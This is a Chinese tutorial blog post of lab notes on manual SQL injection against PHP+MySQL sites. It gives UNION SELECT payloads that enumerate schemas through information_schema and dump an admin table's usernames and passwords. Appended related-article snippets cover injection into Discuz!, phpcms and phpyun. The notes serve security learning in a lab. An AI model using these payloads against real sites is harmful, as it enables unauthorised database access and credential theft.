SQL注入漏洞的分析与利用(三)

MySQL数据库:

元数据库information_schema
1.在5.0以后版本的MySQL中存在着一个元数据库information_schema,其中存储着用户在MySQL中创建的所有其他数据库的信息
2.在对php+mysql类网站进行注入时,主要就是针对information_schema数据库进行操作



information_schema中比较重要的数据表
1.schemata:用于存放所有数据库的名字
2.tables:用于存放所有数据库中的数据表的名字
3.columns:用于存放所有数据库的所有数据表中所有字段的名字

php+mysql注入

实验环境:
实验平台: NPMserv(必须放在根目录下使用)
目标网站: 平台上的网站

MySQL基本操作
1.select version(); 查看mysql版本
2.select user(); 查看当前用户
3.select database(); 查看当前打开的数据库
4.show database; 查看mysql中共有那些数据库
5.use test; 打开test数据库
6.show tables; 显示数据库中的表
常规操作
判断可显示字段
union select 1,2,3,4
MySQL中在执行联合查询时,后面的查询语句不必非要指定数据表名,这点区别于Access
所以可执行:

1.判断是否为注入点


显示正常

显示不正常
由此可以判断出是一个注入点
2.使用order by 猜出字段数

可知字段数为4
3.执行union查询

不必非要指定数据表的名字

在前面加一个and 1=2使得页面得出后面的内容
因为元数据库只有在5.0版本之后才有,所以要得到数据库版本

4.爆出敏感信息
1.爆出当前用户名和数据库名
union select 1,2,user(),database(),4
2.爆出govcn数据库中包含的数据表
union select 1,table_name,3,4 from information_schema.tables where table_schema="govcn"
通过group_concat()函数可以显示字段中的所有内容。

得出结果:

5.利用information_schema查看其他数据库的内容
1.查看test数据库中包含了那些表
select table_name from information_schema.tables where table_schema="test";
2.查看hack数据表中包含了哪些字段
select column_name from information_schema.columns where table_name="hack";

爆字段名:
union select 1,username,password,4 from information_schema.columns where table_name="admin"

爆用户名和密码

union select 1,username,password,4 from admin
union select 1,unhex(hex(username)),unhex(hex(password)),5 from admin

利用unhex(hex())函数进行编码转换,解决网站编码不一致的问题



曲广平老师课程的学习笔记

原文地址:http://blog.51cto.com/13572850/2063195

时间: 2024-08-30 04:37:51

SQL注入漏洞的分析与利用(三)的相关文章

SQL注入漏洞的分析与利用(二)

Access手工注入 1.实验环境:实验平台:小旋风ASPWeb服务器目标网站:南方数据2.02.打开网站,随意点开一个页面看到?id=4说明有参数传递,用的是get方法,可能是一个注入点加入判断语句:url: http://xxx/shownews.asp?id=16sql语句: select from news where id=16测试语句:http://xxx/shownews.asp?id=16 and 1=1等效于:select from news where id=16 and 1

Discuz!7.2 faq.php文件SQL注入漏洞分析及利用实战

[antian365.com] simeon 最近网上公开了Discuz!7.2版本faq.php文件SQL注入0day,通过对文件漏洞分析以及实战测试,效果不错,公开利用exp的利用需要对SQL语句以及数据库等相当了解,在某些情况下需要多种技术配合才能最终攻克目标,下面就漏洞代码以及实战利用等进行探讨,对获取管理员密码的利用,uc_key获取webshell,插件导入获取Webshell等进行探讨. 1. faq.php文件SQL注入漏洞代码分析 本次存在漏洞的文件为faq.php,打开该文件

Axublog 1.1.0 c_login.php存在sql注入漏洞

0x00前言 开始从小的漏洞开始练习,搬运项目地址: https://github.com/imsebao/Code-Audit 0x01 Axublog是一款PHP个人博客系统. Axublog(c_login.php)存在SQL注入漏洞.攻击者可利用漏洞, 直接进行注入,获取数据库敏感信息. 漏洞分析: 漏洞出现在后台登录验证的部分. 首先看后台登录页面代码.www/ad/login.php <?php include_once("all.php"); header(&quo

WordPress Simple Photo Gallery插件&#39;index.php&#39; SQL注入漏洞

发布日期:2015-05-21更新日期:2015-05-25 受影响系统:WordPress Simple Photo Gallery 1.7.8描述:BUGTRAQ ID: 74784 Simple Photo Gallery是简单易用的图库插件. Simple Photo Gallery 1.7.8及其他版本在实现上存在sql注入漏洞,攻击者可利用此漏洞操控sql查询逻辑,对下层数据库执行未授权操作. <*来源:Viktor Gazdag *> 建议:厂商补丁: WordPress----

PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/phpcms_v9/index.php?m=member&c=index&a=login dosubmit=1&username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2

利用SQL注入漏洞登录后台的实现方法

利用SQL注入漏洞登录后台的实现方法 作者: 字体:[增加 减小] 类型:转载 时间:2012-01-12我要评论 工作需要,得好好补习下关于WEB安全方面的相关知识,故撰此文,权当总结,别无它意.读这篇文章,我假设读者有过写SQL语句的经历,或者能看得懂SQL语句 早在02年,国外关于SQL注入漏洞的技术文章已经很多,而国内在05年左右才开始的.  如今,谈SQL注入漏洞是否已是明日黄花,国内大大小小的网站都已经补上漏洞.但,百密必有一疏,入侵是偶然的,但安全绝对不是必然的.  前些天,网上传

phpyun人才管理系统V5.0 SQL注入漏洞分析

*世界上最愚蠢的事莫过于我们无比狂热地做一件事,到最后却不知道为什么要做* cms背景介绍 PHP云人才管理系统(phpyun)是国内主流人才管理CMS系统之一!PHP云专为中文用户设计和开发,采用:B/S+c/s技术框架,程序源代码100%完全开放!基于PHP 和 MySQL 数据库构建的为核心开发. 漏洞类型 前台SQL盲注 漏洞描述 Phpyun最新版本V5.0中,在用户邮箱认证处,存在SQL延时注入.其未对 base64解密后的email参数进行任何过滤,从而导致漏洞产生. 漏洞产生链分

利用SQL注入漏洞登录后台的实现方法 。。。。转载

一.SQL注入的步骤 a) 寻找注入点(如:登录界面.留言板等) b) 用户自己构造SQL语句(如:' or 1=1#,后面会讲解) c) 将sql语句发送给数据库管理系统(DBMS) d) DBMS接收请求,并将该请求解释成机器代码指令,执行必要的存取操作 e) DBMS接受返回的结果,并处理,返回给用户 因为用户构造了特殊的SQL语句,必定返回特殊的结果(只要你的SQL语句够灵活的话). 下面,我通过一个实例具体来演示下SQL注入 二.SQL注入实例详解(以上测试均假设服务器未开启magic

利用SQL注入漏洞登录后台

题记:工作需要,得好好补习下关于WEB安全方面的相关知识,故撰此文,权当总结,别无它意.读这篇文章,我假设读者有过写SQL语句的经历,或者能看得懂SQL语句 早在02年,国外关于SQL注入漏洞的技术文章已经很多,而国内在05年左右才开始的. 如今,谈SQL注入漏洞是否已是明日黄花,国内大大小小的网站都已经补上漏洞.但,百密必有一疏,入侵是偶然的,但安全绝对不是必然的. 前些天,网上传得沸沸扬扬的“拖库”事件给我们敲响了安全警钟. 在开发网站的时候,出于安全考虑,需要过滤从页面传递过来的字符.通常